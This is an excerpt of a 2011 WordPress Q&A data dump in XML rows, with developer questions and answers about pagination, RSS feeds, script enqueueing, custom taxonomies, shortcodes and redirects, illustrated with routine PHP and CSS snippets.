  <row Id="23589" PostTypeId="1" CreationDate="2011-07-20T20:28:03.227" Score="0" ViewCount="28" Body="&lt;p&gt;Newbie to word-press. Rockstar PHP/Java guy though!&#xA;How do i add extra PHP params/code to get pagination related info in rss2 feed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;each page = 6 posts (constant)&#xA;ex: I would like to see number of posts and number of pages in feed description.&#xA;and also get feed for a particular page.&#xA;&lt;a href=&quot;http://localhost/wordpress/?feed=rss2&amp;amp;page=4&quot; rel=&quot;nofollow&quot;&gt;http://localhost/wordpress/?feed=rss2&amp;amp;page=4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;are there WP configuration to get this or do i need to tinker at the SQL script?&lt;/p&gt;&#xA;" OwnerUserId="7187" LastActivityDate="2011-07-20T20:28:03.227" Title="modifying wordpress rss2 feed generator to add pagination" Tags="&lt;pagination&gt;&lt;rss&gt;" CommentCount="2" />
  <row Id="23590" PostTypeId="1" CreationDate="2011-07-20T20:28:45.283" Score="0" ViewCount="22" Body="&lt;p&gt;I want to build a pagination like this, &lt;a href=&quot;http://d.pr/ChRX&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/ChRX&lt;/a&gt; right now I use wp_pagenavi() is there a way to get this &quot;Showing from 1 to 7&quot;, using the $wp_query may be? any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6096" LastActivityDate="2011-08-20T19:32:44.730" Title="Pagination with post range" Tags="&lt;pagination&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23591" PostTypeId="2" ParentId="23585" CreationDate="2011-07-20T20:28:47.953" Score="1" ViewCount="" Body="&lt;p&gt;The problem is that the plugin only handles the calendar part, and not the archive query. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the main query on archive pages if the post_type argument is present, eg: &lt;a href=&quot;http://localhost:8888/wp/?m=201105&amp;amp;post_type=candy&quot; rel=&quot;nofollow&quot;&gt;http://localhost:8888/wp/?m=201105&amp;amp;post_type=candy&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('pre_get_posts', 'atom_include_cpt_in_archives');&#xA;&#xA;function atom_include_cpt_in_archives($query){&#xA;  // validate&#xA;  if(is_archive() &amp;amp;&amp;amp; isset($_GET['post_type']) &amp;amp;&amp;amp; post_type_exists($_GET['post_type']))&#xA;    $query-&amp;gt;set('post_type', $_GET['post_type']);&#xA;&#xA;  return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, you'll have to make your own &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/general-template.php#L1064&quot; rel=&quot;nofollow&quot;&gt;get_calendar()&lt;/a&gt; version, because the native function is not hookable:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;add a &lt;code&gt;$post_type&lt;/code&gt; argument to the function and change all the db queries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;WHERE post_type = 'post'&lt;/code&gt; to &lt;code&gt;WHERE post_type = $post_type&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;append the current post type that's being requested to get_month_link() / get_day_link():&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_query_arg('post_type', $post_type, get_month_link($previous-&amp;gt;year, $previous-&amp;gt;month))&lt;/code&gt;&#xA;...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;maybe override the $post_type function argument with the query argument if it's set:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if(isset($_GET['post_type']) &amp;amp;&amp;amp; post_type_exists($_GET['post_type'])) $post_type = $_GET['post_type'];&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I did a calendar widget like this which among other things, supports CPT. I could post the code, but since it's part of a theme framework you'd have to figure it out yourself how to separate it :)&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-20T20:28:47.953" CommentCount="1" />
  <row Id="23592" PostTypeId="2" ParentId="23578" CreationDate="2011-07-20T20:38:22.940" Score="1" ViewCount="" Body="&lt;p&gt;Check your site source to see what classes do your category links have on them, then style these classes with CSS, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.category-5 a{&#xA;  background:transparent url(images/...) no-repeat left top;&#xA;  padding-left: 25px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-20T20:38:22.940" CommentCount="1" />
  <row Id="23593" PostTypeId="1" AcceptedAnswerId="23613" CreationDate="2011-07-20T21:03:46.027" Score="0" ViewCount="39" Body="&lt;p&gt;I was trying to create a shortcode for a multiple tabs panel. The user can set the number of tabs, the titles and the content for each. It would be something like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[tabs number='4']&#xA;&#xA;[tab title='First_tab_title']first tab content[/first_tab]&#xA;...&#xA;...&#xA;&#xA;[/tabs]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, i am wondering. Although it can be done like this, i don't like that i have to create separate shortcodes, like tabs and tab. Is there another better way to pass all this information to a single [tabs] shortcode ?&lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-07-21T05:06:20.357" Title="Multiple Content Shortcodes" Tags="&lt;theme-development&gt;&lt;shortcode&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23594" PostTypeId="1" CreationDate="2011-07-20T21:04:37.923" Score="1" ViewCount="65" Body="&lt;p&gt;I have a template that has been hardcoded in the header and it needs to be Enqueued. I don't know what to do and the template provider is giving me the run around. JQueries won't work because of it. I installed the Q&amp;amp;A plugin it won't work properly because of this script. If I delete the script. Q&amp;amp;A works but my menu appearance is gone:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/cookie.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/js.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/PIE.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/cusel-min-2.3.1.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;var params = {&#xA;        changedEl: &quot;#zip, #zip1, #zip2, #zip3, #zip4, #zip5, #zip6, #zip7, #zip8, #zip9, #zip10, #zip11&quot;,&#xA;        scrollArrows: true&#xA;    }&#xA;&#xA;    cuSel(params);&#xA;     $(document).ready(function(){&#xA;    jQuery$('div.sel-data').last().css('margin-left','0');&#xA;     });&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!-- superfish menu --&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/superfish.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA; $(document).ready(function(){&#xA;            jQuery('ul.sf-menu').superfish({&#xA;                animation:   {opacity:'show', height:'show'},&#xA;                speed:       'fast',                          // faster animation speed &#xA;                autoArrows:  false,                           // disable generation of arrow mark-up &#xA;                dropShadows: false                            // disable drop shadows &#xA;            });&#xA; });&#xA;  &amp;lt;/script&amp;gt;&#xA;    &amp;lt;!-- /superfish menu --&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/cufon-yui.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/Bebas_Neue_400.font.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what dalton wrote from Q&amp;amp;A. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your theme is hard-coding a link to the jQuery library in the header.&#xA;  You will need to contact your theme developer and ask them to properly&#xA;  enqueue the scripts instead or your site will have problems with any&#xA;  jQuery based plugins.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know what to do or where to start. Any help would be wonderful&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site is www.halseyschools.com&lt;/p&gt;&#xA;" OwnerUserId="7188" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-07-20T21:12:43.173" LastActivityDate="2011-07-20T21:24:06.983" Title="enqueue the scripts" Tags="&lt;jquery&gt;&lt;wp-enqueue-script&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23595" PostTypeId="2" ParentId="23594" CreationDate="2011-07-20T21:18:48.970" Score="3" ViewCount="" Body="&lt;p&gt;Add your script to a file inside your Theme root, e.g. &lt;code&gt;/js/my-script-name.js&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;functions.php&lt;/code&gt;, put add a function to enqueue your script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_enqueue_some_script() {&#xA;    if ( ! is_admin() ) {&#xA;        $scriptsrc = get_template_directory_uri() . '/js/my-script-name.js';&#xA;        wp_register_script( 'my-script-name', $scriptsrc );&#xA;        wp_enqueue_script( 'my-script-name' );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, hook that function into the &lt;code&gt;wp_enqueue_scripts&lt;/code&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_enqueue_scripts', 'mytheme_enqueue_some_script' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your script is dependent on any other scripts, we can add that information to the &lt;code&gt;wp_register_script()&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further reading:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_register_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_register_script()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-20T21:24:06.983" LastActivityDate="2011-07-20T21:24:06.983" />
  <row Id="23597" PostTypeId="2" ParentId="23306" CreationDate="2011-07-20T21:48:31.707" Score="1" ViewCount="" Body="&lt;p&gt;Conditional Widgets and Widget Logic plugin work at the Widget level. If you are using the Genesis Framework, the Genesis Simple Sidebar plugin let's you create additional sidebars, and designate which pages they appear on. &lt;/p&gt;&#xA;" OwnerUserId="7190" LastActivityDate="2011-07-20T21:48:31.707" />
  <row Id="23598" PostTypeId="2" ParentId="17513" CreationDate="2011-07-20T22:08:17.400" Score="0" ViewCount="" Body="&lt;p&gt;I use the YepNope script loader to load all the external CSS/JS. Within your plugin, check to see if the shortcode has been run, then either set a global var or a class variable (depending on implementation. I recommend using classes). If that variable is true, then add the script loader to wp_footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the site loads, the script loader will automatically grab your CSS/JS and append them to the header of your site.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-07-20T22:08:17.400" />
  <row Id="23599" PostTypeId="1" CreationDate="2011-07-20T22:18:33.080" Score="0" ViewCount="54" Body="&lt;p&gt;I have created a custom taxonomy for my site called &lt;code&gt;projects&lt;/code&gt; with a matching template called &lt;code&gt;taxonomy-projects.php&lt;/code&gt;. The problem is that when I browse to &lt;code&gt;http://mysite.com/projects&lt;/code&gt; the template is not triggered, &lt;code&gt;index.php&lt;/code&gt; is, but when I browse to &lt;code&gt;http://mysite.com/projects/someterm&lt;/code&gt; the template shows up just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can have my template displayed when I browse to &lt;code&gt;http://mysite.com/projects&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you ask. Yes, I'm aware that I need to clear the rewrite rules before changes are made. I do this by saving the Permalink settings in the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I've created my custom taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; &quot;Categories&quot;,&#xA;        'singular_name' =&amp;gt; &quot;Category&quot;,&#xA;        'search_items' =&amp;gt; &quot;Search Categories&quot;,&#xA;        'popular_items' =&amp;gt; &quot;Popular Categories&quot;,&#xA;        'all_items' =&amp;gt; &quot;All Categories&quot;,&#xA;        'parent_item' =&amp;gt; &quot;Parent Category&quot;,&#xA;        'parent_item_colon' =&amp;gt; &quot;Parent Category:&quot;,&#xA;        'edit_item' =&amp;gt; &quot;Edit Category&quot;,&#xA;        'update_item' =&amp;gt; &quot;Update Category&quot;,&#xA;        'add_new_item' =&amp;gt; &quot;Add New Category&quot;,&#xA;        'new_item_name' =&amp;gt; &quot;New Category Name&quot;,&#xA;    ),&#xA;    'hierarchical' =&amp;gt; TRUE,&#xA;    'label' =&amp;gt; 'Categories',&#xA;    'query_var' =&amp;gt; TRUE,&#xA;    'rewrite' =&amp;gt; array(&#xA;            'slug' =&amp;gt; 'projects'&#xA;    ),&#xA;);&#xA;&#xA;register_taxonomy('projects', 'project', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've traced the output of &lt;code&gt;$wp_query-&amp;gt;get_queried_object()&lt;/code&gt; on each page and when I browse to a page with a term, such as &lt;code&gt;http://mysite.com/projects/commercial&lt;/code&gt; I get the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdClass Object&#xA;(&#xA;    [term_id] =&amp;gt; 4&#xA;    [name] =&amp;gt; Commercial&#xA;    [slug] =&amp;gt; commercial&#xA;    [term_group] =&amp;gt; 0&#xA;    [term_taxonomy_id] =&amp;gt; 8&#xA;    [taxonomy] =&amp;gt; projects&#xA;    [description] =&amp;gt; &#xA;    [parent] =&amp;gt; 0&#xA;    [count] =&amp;gt; 1&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I browse to &lt;code&gt;http://mysite.com/projects&lt;/code&gt; the output is nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm failing to understand what I'm doing wrong. How can I make the &lt;code&gt;taxonomy-projects.php&lt;/code&gt; shown when I browse to &lt;code&gt;http://mysite.com/projects&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="6616" LastEditorUserId="6616" LastEditorDisplayName="" LastEditDate="2011-07-22T00:12:47.203" LastActivityDate="2011-08-21T23:59:10.513" Title="Why is my taxonomy template not shown?" Tags="&lt;custom-taxonomy&gt;&lt;template&gt;" AnswerCount="2" />
  <row Id="23600" PostTypeId="1" AcceptedAnswerId="23604" CreationDate="2011-07-20T22:59:12.000" Score="0" ViewCount="41" Body="&lt;p&gt;I'm trying to create a site where a 'Game' has a set of information (im thinking it will be a custom post type, with a 'link' field, 'developer' as a taxonomy, 'price', 'release date' and some other information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to make a post, in a category (such as 'reviews') which links to the relevant game and can pull some of this metadata into a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO... the review is it's own post, it has it's own info, tags etc. BUT. is linked to the 'Game' so i can pull in the 'price', 'developer' information etc. AND when i go to the game page, i should be able to find the articles linked to it via the taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this? I have  given it some substantial googling to no avail. Any ideas, thoughts or links would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6353" LastActivityDate="2011-07-20T23:58:20.287" Title="attach CPT data to a taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;customization&gt;&lt;query-posts&gt;" AnswerCount="1" />
  <row Id="23601" PostTypeId="1" CreationDate="2011-07-20T23:19:04.520" Score="0" ViewCount="125" Body="&lt;p&gt;I have a few things that I need help with in Twenty Eleven.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The logo I put in the header is resized to 578px by 160px, when it is supposed to be 326px by 90px.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I would like to simply the php code that controls this:&#xA;&lt;a href=&quot;http://i55.tinypic.com/33tsehh.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i55.tinypic.com/33tsehh.jpg&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I added the gradient to the info box and also the about the author text and bio line. I'm not very knowledgeable with PHP so I don't want to mess with it without help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        /* translators: used between list items, there is a space after the comma */&#xA;        $categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) );&#xA;&#xA;&#xA;        /* translators: used between list items, there is a space after the comma */&#xA;        $tag_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );&#xA;        if ( '' != $tag_list ) {&#xA;            $utility_text = __( 'This entry was posted in %1$s and tagged %2$s by &amp;lt;a href=&quot;%6$s&quot;&amp;gt;%5$s&amp;lt;/a&amp;gt;.', 'twentyeleven' );&#xA;        } elseif ( '' != $categories_list ) {&#xA;            $utility_text = __( 'This entry was posted in %1$s by &amp;lt;a href=&quot;%6$s&quot;&amp;gt;%5$s&amp;lt;/a&amp;gt;. Bookmark the &amp;lt;a href=&quot;%3$s&quot; title=&quot;Permalink to %4$s&quot; rel=&quot;bookmark&quot;&amp;gt;permalink&amp;lt;/a&amp;gt;.', 'twentyeleven' );&#xA;        } else {&#xA;            $utility_text = __( 'This entry was posted by &amp;lt;a href=&quot;%6$s&quot;&amp;gt;%5$s&amp;lt;/a&amp;gt;. Bookmark the &amp;lt;a href=&quot;%3$s&quot; title=&quot;Permalink to %4$s&quot; rel=&quot;bookmark&quot;&amp;gt;permalink&amp;lt;/a&amp;gt;.', 'twentyeleven' );&#xA;        }&#xA;&#xA;&#xA;        printf(&#xA;            $utility_text,&#xA;            $categories_list,&#xA;            $tag_list,&#xA;            esc_url( get_permalink() ),&#xA;            the_title_attribute( 'echo=0' ),&#xA;            get_the_author(),&#xA;            esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) )&#xA;        );&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I want to know how I could add a featured image for each post to the front page because it doesn't seem like it has one coded in.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is a live link: &lt;a href=&quot;http://gscdesigns.co.cc/&quot; rel=&quot;nofollow&quot;&gt;http://gscdesigns.co.cc/&lt;/a&gt;&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7191" LastActivityDate="2011-08-21T08:32:58.530" Title="Three Questions with Twenty Eleven theme" Tags="&lt;php&gt;&lt;post-thumbnails&gt;&lt;logo&gt;&lt;image-resize&gt;&lt;theme-twenty-eleven&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23602" PostTypeId="1" CreationDate="2011-07-20T20:55:17.190" Score="0" ViewCount="65" Body="&lt;p&gt;I am trying to redirect this page if the user is logged in or not be i keep getting this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Cannot modify header information - headers already sent by (output started at /home/*******/*********.com/wp-content/plugins/graph2.php:54) in /home/*******/*********.com/wp-includes/pluggable.php on line 934&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im using this redirect method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_user_logged_in() ) { &#xA;        echo ''; &#xA;    } &#xA;        else { &#xA;    wp_redirect( 'http://www.example.com' );    &#xA;    } &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cant seem to figure out what is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:) thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-08-22T02:53:31.037" Title="Wordpress wp_redirect error" Tags="&lt;php&gt;&lt;header&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="23603" PostTypeId="1" AcceptedAnswerId="23626" CreationDate="2011-07-20T23:45:27.900" Score="0" ViewCount="16" Body="&lt;p&gt;when we open a post, we at the bottom of the page field to post a comment&lt;br&gt;&#xA;I would like to hide this field.&lt;br&gt;&#xA;if there are comments, usually shows them&lt;br&gt;&#xA;however to leave a comment, click a button&lt;br&gt;&#xA;with this, the field appears to leave a comment&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have a clue how to do this?&lt;br&gt;&#xA;Through either normal or ajax&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-07-21T09:00:11.140" Title="just show the field comment by clicking button" Tags="&lt;comments&gt;&lt;buttons&gt;" AnswerCount="1" />
  <row Id="23604" PostTypeId="2" ParentId="23600" CreationDate="2011-07-20T23:58:20.287" Score="1" ViewCount="" Body="&lt;p&gt;I would create a separate Reviews CPT. In the Reviews write screen, I would add a metabox with a select input contain each Game CPT as an option. Using the metabox, you can associate the Game ID as postmeta with the Review. Finally, in your template page that displays the review, you can easily retrieve the Game ID, which will allow you to display all of the relevant Game information on the Review page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an even easier solution than the metabox, you can simply add a custom field like &quot;game_id&quot; and manually add the game id. It's simpler than creating a metabox, but it's not as pretty :)&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-20T23:58:20.287" CommentCount="4" />
  <row Id="23605" PostTypeId="2" ParentId="23602" CreationDate="2011-07-20T23:59:46.700" Score="0" ViewCount="" Body="&lt;p&gt;Replace &lt;code&gt;wp_redirect( 'http://www.example.com' );&lt;/code&gt; with &lt;code&gt;wp_redirect( 'http://www.example.com' ); exit;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-20T23:59:46.700" />
  <row Id="23606" PostTypeId="1" AcceptedAnswerId="23614" CreationDate="2011-07-21T00:20:31.320" Score="0" ViewCount="97" Body="&lt;p&gt;I've searched far and wide to try and find an answer to my question.  I'm hoping I can get help here.  Here goes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently retrieving the terms of my custom taxonomy using:&#xA;&lt;code&gt;&amp;lt;?php echo get_the_term_list( $post-&amp;gt;ID, 'skills', '&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;', '&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;', '&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;' ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is retrieve these same post-specific custom taxonomy terms in a list without them being output as links.  I've tried all of the following &quot;solutions,&quot; but none of them work.  Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Returns the post-specific terms in one long string that can't be put in a list:&lt;/strong&gt;&#xA;&lt;code&gt;$terms_as_text = get_the_term_list( $post-&amp;gt;ID, 'skills', '&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;', '&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;', '&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;' ) ;&#xA;echo strip_tags($terms_as_text);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Returns a list of all the terms used across all the custom post types:&#xA;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php $args = array( 'taxonomy' =&amp;gt; 'skills', 'orderby' =&amp;gt; 'ID', 'order' =&amp;gt; 'ASC' );&#xA;$categories = get_categories( $args );&#xA;foreach($categories as $category) { echo '&amp;lt;li&amp;gt; '. $category-&amp;gt;name . '&amp;lt;/li&amp;gt;'; } &#xA;                ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Returns nothing:&#xA;&lt;code&gt;&amp;lt;?php $args = array('orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'ASC', 'fields' =&amp;gt; 'all');&#xA;wp_get_object_terms( $post-&amp;gt;ID, $skills, $args );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even tried get_the_terms, get_terms, and get_categories to no avail.  I'm strugglin' here.  Any help would be appreciated.  Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7189" LastActivityDate="2011-08-18T13:34:09.993" Title="How do I list custom taxonomy terms without the links?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;get-the-term-list&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="23607" PostTypeId="1" CreationDate="2011-07-21T00:34:21.003" Score="0" ViewCount="33" Body="&lt;p&gt;I have a loop of posts for a custom post type I built.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i call the link of the category/taxonomy for each post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6386" LastActivityDate="2011-08-20T12:32:37.643" Title="Custom Post Type Category Link" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;loop&gt;" AnswerCount="1" />
  <row Id="23608" PostTypeId="1" AcceptedAnswerId="24502" CreationDate="2011-07-21T00:56:22.067" Score="0" ViewCount="35" Body="&lt;p&gt;Im using the W3 Total Cache plugin on my site, and I made page using the wp_list_comments and for some reason the page keeps coming up blank, it comes back after I disable the plugin but when i enable it everything goes blank again does anyone have a suggestion on how iI can fix this, im new to this plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-07-30T15:02:28.050" Title="Page comes up blank using w3 total cache" Tags="&lt;comments&gt;&lt;page&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="1" />
  <row Id="23609" PostTypeId="1" CreationDate="2011-07-21T01:07:33.923" Score="1" ViewCount="81" Body="&lt;p&gt;Is there a coding doc or tutorial to create a SEARCH where it search post in all Blogs in WPMU that will place in WPMU primary site SEARCH?&lt;/p&gt;&#xA;" OwnerUserId="420" LastActivityDate="2011-07-21T09:44:12.430" Title="Search post in all blogs in WPMU?" Tags="&lt;multisite&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="23610" PostTypeId="2" ParentId="23590" CreationDate="2011-07-21T01:52:33.667" Score="0" ViewCount="" Body="&lt;p&gt;helpful link: &lt;a href=&quot;http://skyje.com/2010/02/5-excellent-wordpress-pagination-solutions/&quot; rel=&quot;nofollow&quot;&gt;http://skyje.com/2010/02/5-excellent-wordpress-pagination-solutions/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-07-21T01:52:33.667" />
  <row Id="23612" PostTypeId="2" ParentId="18644" CreationDate="2011-07-21T04:52:47.527" Score="0" ViewCount="" Body="&lt;p&gt;Have you looked into wordpress extended plugins?&lt;br&gt;&#xA;If not, I suggest looking into &lt;a href=&quot;http://wordpress.org/extend/plugins/romeluv-google-maps-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;RomeLuv Google Maps for WordPress&lt;/a&gt; - it looks like what you may be looking for.&lt;/p&gt;&#xA;" OwnerUserId="5175" LastActivityDate="2011-07-21T04:52:47.527" />
